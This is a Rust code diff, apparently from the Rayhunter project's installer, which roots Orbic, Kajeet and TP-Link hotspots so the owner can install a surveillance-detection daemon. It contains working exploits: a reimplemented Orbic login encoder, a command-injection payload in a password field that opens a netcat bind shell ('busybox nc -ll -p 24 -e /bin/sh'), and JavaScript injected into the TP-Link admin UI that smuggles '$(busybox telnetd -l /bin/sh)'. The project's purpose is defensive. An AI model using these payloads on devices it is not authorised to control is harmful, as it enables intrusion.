||||
{
|
||||
return Ok(());
|
||||
}
|
||||
failures += 1;
|
||||
sleep(Duration::from_secs(3)).await;
|
||||
@@ -297,14 +296,12 @@ async fn adb_echo_test(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
|
||||
Ok::<(ADBUSBDevice, Vec<u8>), RustADBError>((adb_device, buf))
|
||||
});
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
if thread.is_finished() {
|
||||
if let Ok(Ok((dev, buf))) = thread.join() {
|
||||
if let Ok(s) = std::str::from_utf8(&buf) {
|
||||
if s.contains(test_echo) {
|
||||
return Ok(dev);
|
||||
}
|
||||
}
|
||||
}
|
||||
if thread.is_finished()
|
||||
&& let Ok(Ok((dev, buf))) = thread.join()
|
||||
&& let Ok(s) = std::str::from_utf8(&buf)
|
||||
&& s.contains(test_echo)
|
||||
{
|
||||
return Ok(dev);
|
||||
}
|
||||
// I'd like to kill the background thread here if that was possible.
|
||||
bail!("Could not communicate with the Orbic. Try disconnecting and reconnecting.");
|
||||
@@ -317,10 +314,11 @@ async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
|
||||
loop {
|
||||
let mut watcher = nusb::watch_devices()?;
|
||||
while let Some(event) = watcher.next().await {
|
||||
if let HotplugEvent::Connected(dev) = event {
|
||||
if dev.vendor_id() == vendor_id && dev.product_id() == product_id {
|
||||
return Ok(());
|
||||
}
|
||||
if let HotplugEvent::Connected(dev) = event
|
||||
&& dev.vendor_id() == vendor_id
|
||||
&& dev.product_id() == product_id
|
||||
{
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
use anyhow::{Context, Result};
|
||||
use base64_light::base64_encode;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// Helper function to swap characters in a string
|
||||
fn swap_chars(s: &str, pos1: usize, pos2: usize) -> String {
|
||||
let mut chars: Vec<char> = s.chars().collect();
|
||||
if pos1 < chars.len() && pos2 < chars.len() {
|
||||
chars.swap(pos1, pos2);
|
||||
}
|
||||
chars.into_iter().collect()
|
||||
}
|
||||
|
||||
/// Apply character swapping based on secret (unchanged from original algorithm)
|
||||
fn apply_secret_swapping(mut text: String, secret_num: u32) -> String {
|
||||
for i in 0..4 {
|
||||
let byte = (secret_num >> (i * 8)) & 0xff;
|
||||
let pos1 = (byte as usize) % text.len();
|
||||
let pos2 = i % text.len();
|
||||
text = swap_chars(&text, pos1, pos2);
|
||||
}
|
||||
text
|
||||
}
|
||||
|
||||
/// Encode password using Orbic's custom algorithm
|
||||
///
|
||||
/// This function is a lot simpler than the original JavaScript because it always uses the same
|
||||
/// character set regardless of "password type", and any randomly generated values are hardcoded.
|
||||
pub fn encode_password(
|
||||
password: &str,
|
||||
secret: &str,
|
||||
timestamp: &str,
|
||||
timestamp_start: u64,
|
||||
) -> Result<String> {
|
||||
let current_time = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
|
||||
// MD5 hash the password and use fixed prefix "a7" instead of random chars
|
||||
let password_md5 = format!("{:x}", md5::compute(password));
|
||||
let mut spliced_password = format!("a7{}", password_md5);
|
||||
|
||||
let secret_num = u32::from_str_radix(secret, 16).context("Failed to parse secret as hex")?;
|
||||
|
||||
spliced_password = apply_secret_swapping(spliced_password, secret_num);
|
||||
|
||||
let timestamp_hex =
|
||||
u32::from_str_radix(timestamp, 16).context("Failed to parse timestamp as hex")?;
|
||||
let time_delta = format!(
|
||||
"{:x}",
|
||||
timestamp_hex + (current_time - timestamp_start) as u32
|
||||
);
|
||||
|
||||
// Use fixed hex "6137" instead of hex encoding of random values
|
||||
let message = format!("6137x{}:{}", time_delta, spliced_password);
|
||||
|
||||
let result = base64_encode(&message);
|
||||
let result = apply_secret_swapping(result, secret_num);
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct LoginRequest {
|
||||
pub username: String,
|
||||
pub password: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct LoginInfo {
|
||||
pub retcode: u32,
|
||||
#[serde(rename = "priKey")]
|
||||
pub pri_key: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct LoginResponse {
|
||||
pub retcode: u32,
|
||||
}
|
||||
@@ -0,0 +1,254 @@
|
||||
use std::io::Write;
|
||||
use std::net::SocketAddr;
|
||||
use std::str::FromStr;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use reqwest::Client;
|
||||
use serde::Deserialize;
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
|
||||
use crate::util::{echo, telnet_send_command, telnet_send_file};
|
||||
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
|
||||
|
||||
#[derive(Deserialize, Debug)]
|
||||
struct ExploitResponse {
|
||||
retcode: u32,
|
||||
}
|
||||
|
||||
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
|
||||
let client: Client = Client::new();
|
||||
|
||||
// Step 1: Get login info (priKey and session cookie)
|
||||
let login_info_response = client
|
||||
.get(format!("http://{}/goform/GetLoginInfo", admin_ip))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to get login info")?;
|
||||
|
||||
let session_cookie = login_info_response
|
||||
.headers()
|
||||
.get("set-cookie")
|
||||
.and_then(|cookie| cookie.to_str().ok())
|
||||
.context("No session cookie received")?
|
||||
.split(';')
|
||||
.next()
|
||||
.context("Invalid cookie format")?
|
||||
.to_string();
|
||||
|
||||
let login_info: LoginInfo = login_info_response
|
||||
.json()
|
||||
.await
|
||||
.context("Failed to parse login info")?;
|
||||
|
||||
if login_info.retcode != 0 {
|
||||
bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
|
||||
}
|
||||
|
||||
// Parse priKey (format: "secret x timestamp")
|
||||
let mut parts = login_info.pri_key.split('x');
|
||||
let secret = parts.next().context("Missing secret in priKey")?;
|
||||
let timestamp = parts.next().context("Missing timestamp in priKey")?;
|
||||
if parts.next().is_some() {
|
||||
bail!("Invalid priKey format: {}", login_info.pri_key);
|
||||
}
|
||||
|
||||
// Step 2: Encode credentials
|
||||
let username_md5 = format!("{:x}", md5::compute(username));
|
||||
let timestamp_start = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
|
||||
let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
|
||||
.context("Failed to encode password")?;
|
||||
|
||||
let login_request = LoginRequest {
|
||||
username: username_md5,
|
||||
password: encoded_password,
|
||||
};
|
||||
|
||||
// Step 3: Perform login
|
||||
let login_response = client
|
||||
.post(format!("http://{}/goform/login", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", &session_cookie)
|
||||
.json(&login_request)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
// Extract authenticated session cookie from login response
|
||||
let authenticated_cookie = login_response
|
||||
.headers()
|
||||
.get("set-cookie")
|
||||
.and_then(|cookie| cookie.to_str().ok())
|
||||
.map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
|
||||
.unwrap_or(session_cookie);
|
||||
|
||||
let login_result: LoginResponse = login_response
|
||||
.json()
|
||||
.await
|
||||
.context("Failed to parse login response")?;
|
||||
|
||||
if login_result.retcode != 0 {
|
||||
bail!("Login failed with retcode: {}", login_result.retcode);
|
||||
}
|
||||
|
||||
// Step 4: Exploit using authenticated session
|
||||
let response: ExploitResponse = client
|
||||
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", authenticated_cookie)
|
||||
// Original Orbic lacks telnetd (unlike other devices)
|
||||
// When doing this, one needs to set prompt=None in the telnet utility functions
|
||||
// But some kajeet devices have password protected telnetd so we use port 24 just in case
|
||||
.body(r#"{"password": "\"; busybox nc -ll -p 24 -e /bin/sh & #"}"#)
|
||||
.send()
|
||||
.await
|
||||
.context("failed to start telnet")?
|
||||
.json()
|
||||
.await
|
||||
.context("failed to start telnet")?;
|
||||
|
||||
if response.retcode != 0 {
|
||||
bail!("unexpected response while starting telnet: {:?}", response);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn start_telnet(
|
||||
admin_ip: &str,
|
||||
admin_username: &str,
|
||||
admin_password: &str,
|
||||
) -> Result<()> {
|
||||
echo!("Logging in and starting telnet... ");
|
||||
login_and_exploit(admin_ip, admin_username, admin_password).await?;
|
||||
println!("done");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn install(
|
||||
admin_ip: String,
|
||||
admin_username: String,
|
||||
admin_password: String,
|
||||
) -> Result<()> {
|
||||
echo!("Logging in and starting telnet... ");
|
||||
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
|
||||
println!("done");
|
||||
|
||||
echo!("Waiting for telnet to become available... ");
|
||||
wait_for_telnet(&admin_ip).await?;
|
||||
println!("done");
|
||||
|
||||
setup_rayhunter(&admin_ip).await
|
||||
}
|
||||
|
||||
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
||||
let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
|
||||
let timeout = Duration::from_secs(60);
|
||||
let start_time = std::time::Instant::now();
|
||||
|
||||
while telnet_send_command(addr, "true", "exit code 0", false)
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
if start_time.elapsed() >= timeout {
|
||||
bail!(
|
||||
"Timeout waiting for telnet to become available after {:?}",
|
||||
timeout
|
||||
);
|
||||
}
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
|
||||
let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||
|
||||
// Remount filesystem as read-write to allow modifications
|
||||
// This is really only necessary for the Moxee Hotspot
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"mount -o remount,rw /dev/ubi0_0 /",
|
||||
"exit code 0",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", false).await?;
|
||||
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
rayhunter_daemon_bin,
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/data/rayhunter/config.toml",
|
||||
CONFIG_TOML
|
||||
.replace(r#"#device = "orbic""#, r#"device = "orbic""#)
|
||||
.as_bytes(),
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/etc/init.d/rayhunter_daemon",
|
||||
RAYHUNTER_DAEMON_INIT.as_bytes(),
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/etc/init.d/misc-daemon",
|
||||
include_bytes!("../../dist/scripts/misc-daemon"),
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod +x /data/rayhunter/rayhunter-daemon",
|
||||
"exit code 0",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod 755 /etc/init.d/rayhunter_daemon",
|
||||
"exit code 0",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod 755 /etc/init.d/misc-daemon",
|
||||
"exit code 0",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
println!("Installation complete. Rebooting device...");
|
||||
telnet_send_command(addr, "shutdown -r -t 1 now", "", false)
|
||||
.await
|
||||
.ok();
|
||||
|
||||
println!(
|
||||
"Device is rebooting. After it's started up again, check out the web interface at http://{}:8080",
|
||||
admin_ip
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -33,10 +33,10 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
|
||||
|
||||
echo!("Connecting via telnet to {admin_ip} ... ");
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?;
|
||||
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?;
|
||||
println!("ok");
|
||||
|
||||
telnet_send_command(addr, "mount -o remount,rw /", "exit code 0").await?;
|
||||
telnet_send_command(addr, "mount -o remount,rw /", "exit code 0", true).await?;
|
||||
|
||||
telnet_send_file(
|
||||
addr,
|
||||
@@ -44,6 +44,7 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
|
||||
crate::CONFIG_TOML
|
||||
.replace("#device = \"orbic\"", "device = \"tmobile\"")
|
||||
.as_bytes(),
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
|
||||
@@ -52,36 +53,47 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
|
||||
addr,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
rayhunter_daemon_bin,
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod 755 /data/rayhunter/rayhunter-daemon",
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/etc/init.d/misc-daemon",
|
||||
include_bytes!("../../dist/scripts/misc-daemon"),
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod 755 /etc/init.d/misc-daemon",
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(addr, "chmod 755 /etc/init.d/misc-daemon", "exit code 0").await?;
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/etc/init.d/rayhunter_daemon",
|
||||
crate::RAYHUNTER_DAEMON_INIT.as_bytes(),
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod 755 /etc/init.d/rayhunter_daemon",
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
|
||||
println!("Rebooting device and waiting 30 seconds for it to start up.");
|
||||
telnet_send_command(addr, "reboot", "exit code 0").await?;
|
||||
telnet_send_command(addr, "reboot", "exit code 0", true).await?;
|
||||
sleep(Duration::from_secs(30)).await;
|
||||
|
||||
echo!("Testing rayhunter ... ");
|
||||
|
||||
+86
-25
@@ -40,6 +40,7 @@ struct V3RootResponse {
|
||||
|
||||
pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
|
||||
let client = reqwest::Client::new();
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
println!("Launching telnet on the device");
|
||||
|
||||
@@ -85,11 +86,20 @@ pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
|
||||
anyhow::bail!("Bad result code when trying to reset the language: {result}");
|
||||
}
|
||||
|
||||
println!("Detected hardware revision v3");
|
||||
// Final check. On v6, all of the above steps succeed, but telnet may still not be launched.
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
if telnet_send_command(addr, "true", "exit code 0", true)
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
println!("Detected hardware revision v3, successfully opened telnet");
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
|
||||
println!("This doesn't look like a v3 device, trying web-based exploit");
|
||||
tplink_launch_telnet_v5(admin_ip).await?;
|
||||
|
||||
Ok(false)
|
||||
@@ -104,23 +114,40 @@ async fn tplink_run_install(
|
||||
println!("Connecting via telnet to {admin_ip}");
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
if !skip_sdcard {
|
||||
if skip_sdcard {
|
||||
sdcard_path = "/data/rayhunter-data".to_owned();
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("mkdir -p {sdcard_path}"),
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
} else {
|
||||
if sdcard_path.is_empty() {
|
||||
if telnet_send_command(addr, "ls /media/card", "exit code 0")
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
let try_paths = [
|
||||
// TP-Link hardware less than v9.0
|
||||
sdcard_path = "/media/card".to_owned();
|
||||
} else if telnet_send_command(addr, "ls /media/sdcard", "exit code 0")
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
"/media/card",
|
||||
// TP-Link hardware v9.0
|
||||
sdcard_path = "/media/sdcard".to_owned();
|
||||
} else {
|
||||
"/media/sdcard",
|
||||
];
|
||||
for path in try_paths {
|
||||
if telnet_send_command(addr, &format!("ls {path}"), "exit code 0", true)
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
sdcard_path = path.to_owned();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if sdcard_path.is_empty() {
|
||||
anyhow::bail!(
|
||||
"unable to determine sdcard path. this is a bug. please file an issue with your hardware version."
|
||||
"Unable to determine sdcard path. Rayhunter needs a FAT-formatted SD card to function.\n\n\
|
||||
If you already inserted a FAT formatted SD card, this is a bug. Please file an issue with your hardware version.\n\n\
|
||||
The installer has tried to find an empty folder to mount to on these paths: {try_paths:?}\n\
|
||||
...but none of them exist.\n\n\
|
||||
At this point, you may 'telnet {admin_ip}' and poke around in the device to figure out what went wrong yourself."
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -130,11 +157,12 @@ async fn tplink_run_install(
|
||||
addr,
|
||||
&format!("mount | grep -q {sdcard_path}"),
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
|
||||
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
|
||||
} else {
|
||||
println!("sdcard already mounted");
|
||||
}
|
||||
@@ -142,12 +170,13 @@ async fn tplink_run_install(
|
||||
|
||||
// there is too little space on the internal flash to store anything, but the initrd script
|
||||
// expects things to be at this location
|
||||
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
|
||||
telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
|
||||
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0", true).await?;
|
||||
telnet_send_command(addr, "mkdir -p /data", "exit code 0", true).await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("ln -sf {sdcard_path} /data/rayhunter"),
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
|
||||
@@ -157,6 +186,7 @@ async fn tplink_run_install(
|
||||
crate::CONFIG_TOML
|
||||
.replace("#device = \"orbic\"", "device = \"tplink\"")
|
||||
.as_bytes(),
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
|
||||
@@ -166,6 +196,7 @@ async fn tplink_run_install(
|
||||
addr,
|
||||
&format!("{sdcard_path}/rayhunter-daemon"),
|
||||
rayhunter_daemon_bin,
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
|
||||
@@ -173,6 +204,7 @@ async fn tplink_run_install(
|
||||
addr,
|
||||
"/etc/init.d/rayhunter_daemon",
|
||||
get_rayhunter_daemon(&sdcard_path).as_bytes(),
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
|
||||
@@ -180,12 +212,14 @@ async fn tplink_run_install(
|
||||
addr,
|
||||
&format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"),
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod 755 /etc/init.d/rayhunter_daemon",
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
|
||||
@@ -193,14 +227,20 @@ async fn tplink_run_install(
|
||||
// startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it
|
||||
// is unreliable on other hardware revisions too.
|
||||
if is_v3 {
|
||||
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"update-rc.d rayhunter_daemon defaults",
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
}
|
||||
|
||||
println!(
|
||||
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
|
||||
);
|
||||
|
||||
telnet_send_command(addr, "reboot", "exit code 0").await?;
|
||||
telnet_send_command(addr, "reboot", "exit code 0", true).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -242,9 +282,19 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
|
||||
let mut data = BytesMut::from(data);
|
||||
// inject some javascript into the admin UI to get us a telnet shell.
|
||||
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
|
||||
// Intentionally register rayhunter-daemon before rayhunter-root so that we are less
|
||||
// likely to run into race conditions where rayhunter-root is launched, and the
|
||||
// installer kills the server. In practice both HTTP requests may execute concurrently
|
||||
// anyway.
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
|
||||
alert("Success! You can go back to the rayhunter installer.");
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
|
||||
|
||||
// Do not use alert(), instead replace page with success message. Using alert() will
|
||||
// block the event loop in such a way that any background promises are blocked from
|
||||
// progress too. For example: The HTTP requests to register our port triggers!
|
||||
document.body.innerHTML = "<h1>Success! You can go back to the rayhunter installer.</h1>";
|
||||
|
||||
// We can stop polling now, presumably both requests are already inflight.
|
||||
window.clearInterval(window.rayhunterPoll);
|
||||
}, 1000);"#);
|
||||
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
|
||||
@@ -255,6 +305,16 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
|
||||
}
|
||||
|
||||
async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
if telnet_send_command(addr, "true", "exit code 0", true)
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
println!("telnet already appears to be running");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let client: HttpProxyClient =
|
||||
hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
|
||||
.build(HttpConnector::new());
|
||||
@@ -276,15 +336,16 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
|
||||
|
||||
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
|
||||
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
while telnet_send_command(addr, "true", "exit code 0")
|
||||
while telnet_send_command(addr, "true", "exit code 0", true)
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
}
|
||||
|
||||
// give the JavaScript code some additional time to run and persist the port triggers.
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
|
||||
handle.abort();
|
||||
|
||||
Ok(())
|
||||
|
||||
+88
-25
@@ -18,26 +18,35 @@ macro_rules! echo {
|
||||
}
|
||||
pub(crate) use echo;
|
||||
|
||||
pub async fn telnet_send_command(
|
||||
pub async fn telnet_send_command_with_output(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
expected_output: &str,
|
||||
) -> Result<()> {
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<String> {
|
||||
let stream = TcpStream::connect(addr).await?;
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
loop {
|
||||
let mut next_byte = 0;
|
||||
reader
|
||||
.read_exact(std::slice::from_mut(&mut next_byte))
|
||||
.await?;
|
||||
if next_byte == b'#' {
|
||||
break;
|
||||
|
||||
if wait_for_prompt {
|
||||
// Wait for initial '#' prompt from telnetd
|
||||
loop {
|
||||
let mut next_byte = 0;
|
||||
reader
|
||||
.read_exact(std::slice::from_mut(&mut next_byte))
|
||||
.await?;
|
||||
if next_byte == b'#' {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
writer.write_all(command.as_bytes()).await?;
|
||||
writer.write_all(b"; echo exit code $?\r\n").await?;
|
||||
// by quoting the 'exit' here, we ensure that we do not read our own command line back as
|
||||
// "output" before we even hit enter, but the actual result of executing the echo.
|
||||
writer
|
||||
.write_all(b"; echo command done, 'exit' code $?\r\n")
|
||||
.await?;
|
||||
let mut read_buf = Vec::new();
|
||||
let _ = timeout(Duration::from_secs(5), async {
|
||||
let _ = timeout(Duration::from_secs(10), async {
|
||||
let mut buf = [0; 4096];
|
||||
loop {
|
||||
let Ok(bytes_read) = reader.read(&mut buf).await else {
|
||||
@@ -48,46 +57,100 @@ pub async fn telnet_send_command(
|
||||
continue;
|
||||
}
|
||||
read_buf.extend(bytes);
|
||||
if read_buf.ends_with(b"/ # ") {
|
||||
|
||||
// when we see this string we know the command is done and can terminate.
|
||||
// even if we sent command; exit, certain "telnet-like" shells (like nc contraptions)
|
||||
// may not terminate the connection appropriately on their own.
|
||||
let response = String::from_utf8_lossy(&read_buf);
|
||||
if response.contains("command done, exit code ") {
|
||||
break;
|
||||
}
|
||||
}
|
||||
})
|
||||
.await;
|
||||
let string = String::from_utf8_lossy(&read_buf);
|
||||
if !string.contains(expected_output) {
|
||||
bail!("{expected_output:?} not found in: {string}");
|
||||
let string = String::from_utf8_lossy(&read_buf).to_string();
|
||||
Ok(string)
|
||||
}
|
||||
|
||||
pub async fn telnet_send_command(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
expected_output: &str,
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
let output = telnet_send_command_with_output(addr, command, wait_for_prompt).await?;
|
||||
if !output.contains(expected_output) {
|
||||
bail!("{expected_output:?} not found in: {output}");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<()> {
|
||||
pub async fn telnet_send_file(
|
||||
addr: SocketAddr,
|
||||
filename: &str,
|
||||
payload: &[u8],
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
echo!("Sending file {filename} ... ");
|
||||
{
|
||||
let nc_output = {
|
||||
let filename = filename.to_owned();
|
||||
let handle = tokio::spawn(async move {
|
||||
telnet_send_command(addr, &format!("nc -l -p 8081 >{filename}.tmp"), "").await
|
||||
telnet_send_command_with_output(
|
||||
addr,
|
||||
&format!("nc -l -p 8081 >{filename}.tmp"),
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await
|
||||
});
|
||||
// wait for nc to become available. if the installer fails with connection refused, this
|
||||
// likely is not high enough.
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
let mut addr = addr;
|
||||
addr.set_port(8081);
|
||||
let mut stream = TcpStream::connect(addr).await?;
|
||||
stream.write_all(payload).await?;
|
||||
handle.await??;
|
||||
}
|
||||
|
||||
{
|
||||
let mut stream = TcpStream::connect(addr).await?;
|
||||
stream.write_all(payload).await?;
|
||||
|
||||
// if the orbic is sluggish, we need for nc to write the data to disk before
|
||||
// terminating the connection. if we terminate the connection while there is unflushed
|
||||
// data, that data will just not be written from nc's buffer into OS disk buffer. the
|
||||
// symptom is mismatched md5 hashes.
|
||||
//
|
||||
// this is NOT fixed by calling fsync or similar, we're talking about dropped
|
||||
// application buffers here.
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
|
||||
// ensure that stream is dropped before we wait for nc to terminate.
|
||||
}
|
||||
|
||||
handle.await??
|
||||
};
|
||||
|
||||
let checksum = md5::compute(payload);
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("md5sum {filename}.tmp"),
|
||||
&format!("{checksum:x} {filename}.tmp"),
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await?;
|
||||
.await
|
||||
.with_context(|| {
|
||||
format!(
|
||||
"File transfer failed. nc command output: '{}'. Expected checksum: {:x}",
|
||||
nc_output.trim(),
|
||||
checksum
|
||||
)
|
||||
})?;
|
||||
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("mv {filename}.tmp {filename}"),
|
||||
"exit code 0",
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await?;
|
||||
|
